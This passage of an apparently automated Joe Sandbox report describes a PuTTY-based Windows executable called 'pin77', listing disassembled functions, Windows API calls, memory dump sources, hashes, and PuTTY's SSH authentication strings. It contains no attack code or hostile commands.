                                                                                                                                                    • Shell32.dll, xrefs: 003142E4
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressCurrentExplicitModelProcProcessUser
                                                                                                                                                    • String ID: SetCurrentProcessExplicitAppUserModelID$Shell32.dll
                                                                                                                                                    • API String ID: 3773935857-666802935
                                                                                                                                                    • Opcode ID: c1358ab113edaefe8c7b5aff60adc48f5690bdcb4656d6a0038e0705e3127f97
                                                                                                                                                    • Instruction ID: 816583dca7d3c30a4f8ae87b297c83d9790159180f650c80ac78f348f84408e7
                                                                                                                                                    • Opcode Fuzzy Hash: c1358ab113edaefe8c7b5aff60adc48f5690bdcb4656d6a0038e0705e3127f97
                                                                                                                                                    • Instruction Fuzzy Hash: FFE06DB8701202E6DB5B9B75BC58BA7339C6B14741F060D75F420C61A0EB34C491EB22
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032B9B0 Relevance: 6.1, APIs: 4, Instructions: 72registryCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 366 32b9b0-32b9d5 367 32b9db-32b9e5 366->367 368 32ba5e-32ba60 366->368 369 32ba06-32ba12 367->369 370 32ba70-32ba84 call 38dc50 368->370 372 32ba40-32ba4e RegOpenKeyExA 369->372 373 32ba14-32ba2e RegCreateKeyExA 369->373 375 32ba50-32ba53 372->375 377 32ba62-32ba67 372->377 373->375 376 32ba30 373->376 378 32b9f0-32ba04 375->378 379 32ba55-32ba5c RegCloseKey 375->379 376->377 377->370 380 32ba69-32ba6a RegCloseKey 377->380 378->368 378->369 379->378 380->370
                                                                                                                                                    APIs
                                                                                                                                                    • RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 0032BA26
                                                                                                                                                    • RegOpenKeyExA.KERNELBASE(?,?,00000000,0002001F), ref: 0032BA4A
                                                                                                                                                    • RegCloseKey.ADVAPI32(?), ref: 0032BA56
                                                                                                                                                    • RegCloseKey.ADVAPI32(?), ref: 0032BA6A
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Close$CreateOpen
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1299239824-0
                                                                                                                                                    • Opcode ID: 0dcaadd7e7f3f2c2ffdd5d63a27b165e73fcff0f666119c30156bc18c254247d
                                                                                                                                                    • Instruction ID: 48361bdb5088235536f01d964928571bc35dcf0eeba591d482cc6fd680407e91
                                                                                                                                                    • Opcode Fuzzy Hash: 0dcaadd7e7f3f2c2ffdd5d63a27b165e73fcff0f666119c30156bc18c254247d
                                                                                                                                                    • Instruction Fuzzy Hash: 9611B130205321AFE3328B14ED86B7BBBECAB85B54F15011CF98A9B2D1D770AC40D752
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030D550 Relevance: 6.0, APIs: 4, Instructions: 17COMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    APIs
                                                                                                                                                    • CreateDialogParamA.USER32(0000006F,00000000,0030D590,00000000,?), ref: 0030D562
                                                                                                                                                    • ShowWindow.USER32(00000000,00000000), ref: 0030D56D
                                                                                                                                                    • SetActiveWindow.USER32(00000000), ref: 0030D574
                                                                                                                                                    • KiUserCallbackDispatcher.NTDLL(00000000), ref: 0030D57B
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$ActiveCallbackCreateDialogDispatcherParamShowUser
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 916146323-0
                                                                                                                                                    • Opcode ID: b1afb11349e1783478709067610012463f18cdda328855789decfed09eb6d3cd
                                                                                                                                                    • Instruction ID: 1684d01b6474becd74aa0caa67280ca23202d1556e18e1fb1eba22cfb9faf903
                                                                                                                                                    • Opcode Fuzzy Hash: b1afb11349e1783478709067610012463f18cdda328855789decfed09eb6d3cd
                                                                                                                                                    • Instruction Fuzzy Hash: 74D0C735541750BBD7331B64BC4DFE93F2CEB0A715F100210F606AD1F1C77559418A58
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003135F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 382 3135f0-313600 383 313630-313649 call 39d413 382->383 384 313602-313604 382->384 390 31364d-313657 383->390 385 313610-313626 call 32afa0 384->385 391 313628-31362e 385->391 392 31364b 385->392 393 313659-31365d 390->393 394 3136ae-3136ca call 39d413 call 2f69a0 390->394 391->383 391->385 392->390 393->394 396 313690-3136aa call 311d20 393->396 397 313664 393->397 398 313666-313676 call 311d20 393->398 405 313678-313683 SetDlgItemTextA call 329100 396->405 406 3136ac 396->406 397->398 398->405 408 31368b-31368f 398->408 410 313688 405->410 406->408 410->408
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00313635, 003136B3
                                                                                                                                                    • false && "bad control type in label_change", xrefs: 003136B8
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemText
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$false && "bad control type in label_change"
                                                                                                                                                    • API String ID: 3367045223-273940900
                                                                                                                                                    • Opcode ID: 3e30fa97a5dc5ba4466b2ec4ee1e9c99329ba24f744a2ebbaa135a1d3da332f1
                                                                                                                                                    • Instruction ID: 2c5f0ef89dedbb84bdc7a9b658abfb862ff42a8d5bffe5dcabc8b22889159d99
                                                                                                                                                    • Opcode Fuzzy Hash: 3e30fa97a5dc5ba4466b2ec4ee1e9c99329ba24f744a2ebbaa135a1d3da332f1
                                                                                                                                                    • Instruction Fuzzy Hash: EF215771A00251BBC7279F25EDC6E9A77E68BCDB54F160268F4089B282DA31ED848711
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003130F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70windowCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 411 3130f0-3130fc 412 313130 411->412 413 3130fe-313104 411->413 415 313132-313146 call 39d413 412->415 414 313110-313126 call 32afa0 413->414 420 313182-31318b 414->420 421 313128-31312e 414->421 422 313149-313157 415->422 420->422 425 31318d-313190 420->425 421->412 421->414 423 313159-313167 422->423 424 31316a-313181 SendDlgItemMessageA 422->424 423->424 425->415 426 313192-313196 425->426 426->422 427 313198 426->427 427->415
                                                                                                                                                    APIs
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000143,00000000,?), ref: 00313177
                                                                                                                                                    Strings
                                                                                                                                                    • c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list)), xrefs: 0031313C
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00313137
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list))
                                                                                                                                                    • API String ID: 3015471070-892283786
                                                                                                                                                    • Opcode ID: d72fdd57a172cbc5c43c6aff7156ace7b8662199e92ed77c737de3e29594c219
                                                                                                                                                    • Instruction ID: 7a5c37a91607ae1ff4d7cfd9235244375bc3db1e31d9fb2a1ed00ea147c1387c
                                                                                                                                                    • Opcode Fuzzy Hash: d72fdd57a172cbc5c43c6aff7156ace7b8662199e92ed77c737de3e29594c219
                                                                                                                                                    • Instruction Fuzzy Hash: 8411E171640205BFEB2AAA04DC85FF2B3AAEB9D724F054139E1054B691D771AE80CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00312E90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 428 312e90-312ea0 429 312ea2-312ea8 428->429 430 312ed8-312eda 428->430 432 312eb0-312ec6 call 32afa0 429->432 431 312ee9-312efd call 39d413 430->431 439 312f00-312f14 SetDlgItemTextA 431->439 437 312ec8-312ece 432->437 438 312edc-312ee7 432->438 437->432 440 312ed0-312ed6 437->440 438->431 438->439 440->431
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • c && c->ctrl->type == CTRL_EDITBOX, xrefs: 00312EF3
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 00312EEE
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemText
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && c->ctrl->type == CTRL_EDITBOX
                                                                                                                                                    • API String ID: 3367045223-2506229160
                                                                                                                                                    • Opcode ID: cfa58ad0be19028a39dc231bbed10ac6756dab4c32bb98c7f3e49733b8924c91
                                                                                                                                                    • Instruction ID: 6210ee39c9fa2b8e2ca5af9e395d30f137f5c85863e84babac6efe1cd2164f40
                                                                                                                                                    • Opcode Fuzzy Hash: cfa58ad0be19028a39dc231bbed10ac6756dab4c32bb98c7f3e49733b8924c91
                                                                                                                                                    • Instruction Fuzzy Hash: D9018B32604215AFD216CE45ECC2E97B3A9EB8D748F010525F9049B651D372BCA4CBB1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A3777 Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 441 3a3777-3a377c 442 3a377e-3a3796 441->442 443 3a3798-3a379c 442->443 444 3a37a4-3a37ad 442->444 443->444 445 3a379e-3a37a2 443->445 446 3a37bf 444->446 447 3a37af-3a37b2 444->447 451 3a3819-3a381d 445->451 450 3a37c1-3a37ce GetStdHandle 446->450 448 3a37bb-3a37bd 447->448 449 3a37b4-3a37b9 447->449 448->450 449->450 452 3a37fb-3a380d 450->452 453 3a37d0-3a37d2 450->453 451->442 454 3a3823-3a3826 451->454 452->451 456 3a380f-3a3812 452->456 453->452 455 3a37d4-3a37dd GetFileType 453->455 455->452 457 3a37df-3a37e8 455->457 456->451 458 3a37ea-3a37ee 457->458 459 3a37f0-3a37f3 457->459 458->451 459->451 460 3a37f5-3a37f9 459->460 460->451
                                                                                                                                                    APIs
                                                                                                                                                    • GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,003A3666,003EF558,0000000C), ref: 003A37C3
                                                                                                                                                    • GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,003A3666,003EF558,0000000C), ref: 003A37D5
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: FileHandleType
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3000768030-0
                                                                                                                                                    • Opcode ID: c9953405dbeae1571424b309a5fd1e327a3165a37a1405579986727b4253869f
                                                                                                                                                    • Instruction ID: 6781f4f0106370ea3c9006d77d0e8734d2ada602474bbe94f8cb20181e166790
                                                                                                                                                    • Opcode Fuzzy Hash: c9953405dbeae1571424b309a5fd1e327a3165a37a1405579986727b4253869f
                                                                                                                                                    • Instruction Fuzzy Hash: 211193F15047514AD7334E3E8CC8622BA98EB57334B39071AF4B6875F1C336DA8AD640
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A5BD4 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • RtlAllocateHeap.NTDLL(00000008,?,?,?,003A31F0,00000001,00000364,?,00000006,000000FF,?,0039D423,00000003,?,?,0032AE09), ref: 003A5C15
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AllocateHeap
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1279760036-0
                                                                                                                                                    • Opcode ID: f76f26c394c8945311056903cfdb1de1d71b1a9a23255181116ef2cba65ca5fc
                                                                                                                                                    • Instruction ID: 0692f144d3af37502eb9e5c13570e98c02c11f2456700f708a7420dad47d109c
                                                                                                                                                    • Opcode Fuzzy Hash: f76f26c394c8945311056903cfdb1de1d71b1a9a23255181116ef2cba65ca5fc
                                                                                                                                                    • Instruction Fuzzy Hash: FEF0E932604F28A7DF277A669C01B6EB74CEF43770F168521FC04DB194CA60DC0082A0
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A4971 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • RtlAllocateHeap.NTDLL(00000000,003A3C6B,19E850E8,?,003A3C6B,00000220,?,0039DB94,19E850E8), ref: 003A49A3
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AllocateHeap
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1279760036-0
                                                                                                                                                    • Opcode ID: 36da4f0bc2acbac31c85dd458c9e2ea2030d675e2d2e52149f658e1843ae22e6
                                                                                                                                                    • Instruction ID: fd74fce7cf70f02fcbe92c53b86c6276489a68f8df2a5cf90c082cc9ae90d3b7
                                                                                                                                                    • Opcode Fuzzy Hash: 36da4f0bc2acbac31c85dd458c9e2ea2030d675e2d2e52149f658e1843ae22e6
                                                                                                                                                    • Instruction Fuzzy Hash: 00E09B3110156596DB337A659C01B6B764CDFC37B0F174139FC099B1D5DBD0CC2182A5
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032B850 Relevance: 1.5, APIs: 1, Instructions: 21libraryCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 00356EA0: GetSystemDirectoryA.KERNEL32 ref: 00356EB2
                                                                                                                                                      • Part of subcall function 00356EA0: GetSystemDirectoryA.KERNEL32 ref: 00356EF6
                                                                                                                                                      • Part of subcall function 00328420: _strlen.LIBCMT ref: 00328437
                                                                                                                                                      • Part of subcall function 00328420: _strlen.LIBCMT ref: 00328461
                                                                                                                                                      • Part of subcall function 00328420: _strcat.LIBCMT ref: 0032848C
                                                                                                                                                      • Part of subcall function 00328420: _strlen.LIBCMT ref: 00328495
                                                                                                                                                      • Part of subcall function 00328420: _strcat.LIBCMT ref: 003284B2
                                                                                                                                                      • Part of subcall function 00328420: _strlen.LIBCMT ref: 003284BB
                                                                                                                                                    • LoadLibraryA.KERNELBASE(00000000,00000000,?,003399F0,kernel32.dll), ref: 0032B86F
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen$DirectorySystem_strcat$LibraryLoad
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3346121862-0
                                                                                                                                                    • Opcode ID: d28f10a965ab366be0031bb9eaccbb9191a4ac85356dce660e92a4fa5dc32482
                                                                                                                                                    • Instruction ID: 6adf0f1a7aaed22ea51b24eb913dcba2ce4141353a4f6001f5d2661ac6c4f0cc
                                                                                                                                                    • Opcode Fuzzy Hash: d28f10a965ab366be0031bb9eaccbb9191a4ac85356dce660e92a4fa5dc32482
                                                                                                                                                    • Instruction Fuzzy Hash: 2BD05BB6A0512037D6123265BC0BF6B165DCB81365F450565FC04DB346E5216D1481E1
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Non-executed Functions

                                                                                                                                                    Function 00348B40 Relevance: 204.8, APIs: 7, Strings: 108, Instructions: 3561COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • _strlen.LIBCMT ref: 00349DF1
                                                                                                                                                      • Part of subcall function 00329280: _strlen.LIBCMT ref: 0032928B
                                                                                                                                                    • _strlen.LIBCMT ref: 0034BD7C
                                                                                                                                                      • Part of subcall function 0033D350: _strlen.LIBCMT ref: 0033D35B
                                                                                                                                                      • Part of subcall function 00352540: _strlen.LIBCMT ref: 00352546
                                                                                                                                                      • Part of subcall function 0032E7A0: _strlen.LIBCMT ref: 0032E7AB
                                                                                                                                                      • Part of subcall function 0032E7A0: _strcat.LIBCMT ref: 0032E7C7
                                                                                                                                                    Strings
                                                                                                                                                    • Sent password, xrefs: 0034A123
                                                                                                                                                    • unrecognised certificate type '%s', xrefs: 003495B3
                                                                                                                                                    • Reading certificate file "%s", xrefs: 003491A6
                                                                                                                                                    • Unable to use key file "%s" (%s), xrefs: 0034914C
                                                                                                                                                    • Auth helper plugin announced unsupported version number %u, xrefs: 003494DA
                                                                                                                                                    • username prompt, xrefs: 003498AC
                                                                                                                                                    • Failed to get reply from Pageant, xrefs: 003490BD
                                                                                                                                                    • Unable to use this key file (%s), xrefs: 00349118
                                                                                                                                                    • Pageant key #%zu matches configured key file, xrefs: 00349637
                                                                                                                                                    • Authentication was trivial! Abandoning session as specified in configuration., xrefs: 0034AC40
                                                                                                                                                    • login as: , xrefs: 00349732
                                                                                                                                                    • gssapi-keyex, xrefs: 00349C25, 0034A1D8
                                                                                                                                                    • Pageant failed to respond to signing request, xrefs: 003490C7
                                                                                                                                                    • Using username "%s"., xrefs: 003496DE
                                                                                                                                                    • Server refused public-key signature despite accepting key!, xrefs: 00349CE1
                                                                                                                                                    • Authentication plugin declined to help with keyboard-interactive: %.*s, xrefs: 0034A648
                                                                                                                                                    • Received malformed PLUGIN_INIT_FAILURE from auth helper plugin, xrefs: 003494BA
                                                                                                                                                    • Passwords do not match, xrefs: 0034BBCE
                                                                                                                                                    • Unable to load key file "%s" (%s), xrefs: 00349093
                                                                                                                                                    • GSSAPI import name failed, xrefs: 0034ADA1, 0034ADA6
                                                                                                                                                    • password, xrefs: 00349BBD, 0034A0D3, 0034BC6A
                                                                                                                                                    • No supported authentication methods available, xrefs: 0034ABEF
                                                                                                                                                    • Pageant is running. Requesting keys., xrefs: 003492CE
                                                                                                                                                    • Server refused public-key signature despite accepting key!, xrefs: 00349CCA
                                                                                                                                                    • keyboard-interactive authentication prompt, xrefs: 0034B622
                                                                                                                                                    • Authentication plugin agreed to help with keyboard-interactive, xrefs: 0034A65B
                                                                                                                                                    • GSSAPI authentication request refused, xrefs: 0034A40C
                                                                                                                                                    • Server requested password change, xrefs: 0034A169, 0034B9FA, 0034BA14
                                                                                                                                                    • Configured key file not in Pageant, xrefs: 00348F90
                                                                                                                                                    • Sent public key signature, xrefs: 0034B102
                                                                                                                                                    • %.*s, xrefs: 00349516, 0034A618
                                                                                                                                                    • Enter new password: , xrefs: 0034BAAF
                                                                                                                                                    • %s@%s's password: , xrefs: 00349FEC
                                                                                                                                                    • Authentication plugin failed to initialise:, xrefs: 003494E6
                                                                                                                                                    • Authenticating with public key "%s", xrefs: 0034A902
                                                                                                                                                    • Pageant failed to provide a signature, xrefs: 00349058
                                                                                                                                                    • passphrase prompt, xrefs: 0034B1F1
                                                                                                                                                    • Unable to use certificate file "%s" (%s), xrefs: 0034927A
                                                                                                                                                    • Unable to load key (%s), xrefs: 00349066
                                                                                                                                                    • GSSAPI authentication failed, xrefs: 0034B33C
                                                                                                                                                    • End of keyboard-interactive prompts from plugin, xrefs: 0034B6A1, 0034B6B7
                                                                                                                                                    • GSSAPI import name failed - Bad service name, xrefs: 0034AD6B
                                                                                                                                                    • GSSAPI authentication - wrong response from server, xrefs: 0034A3E7
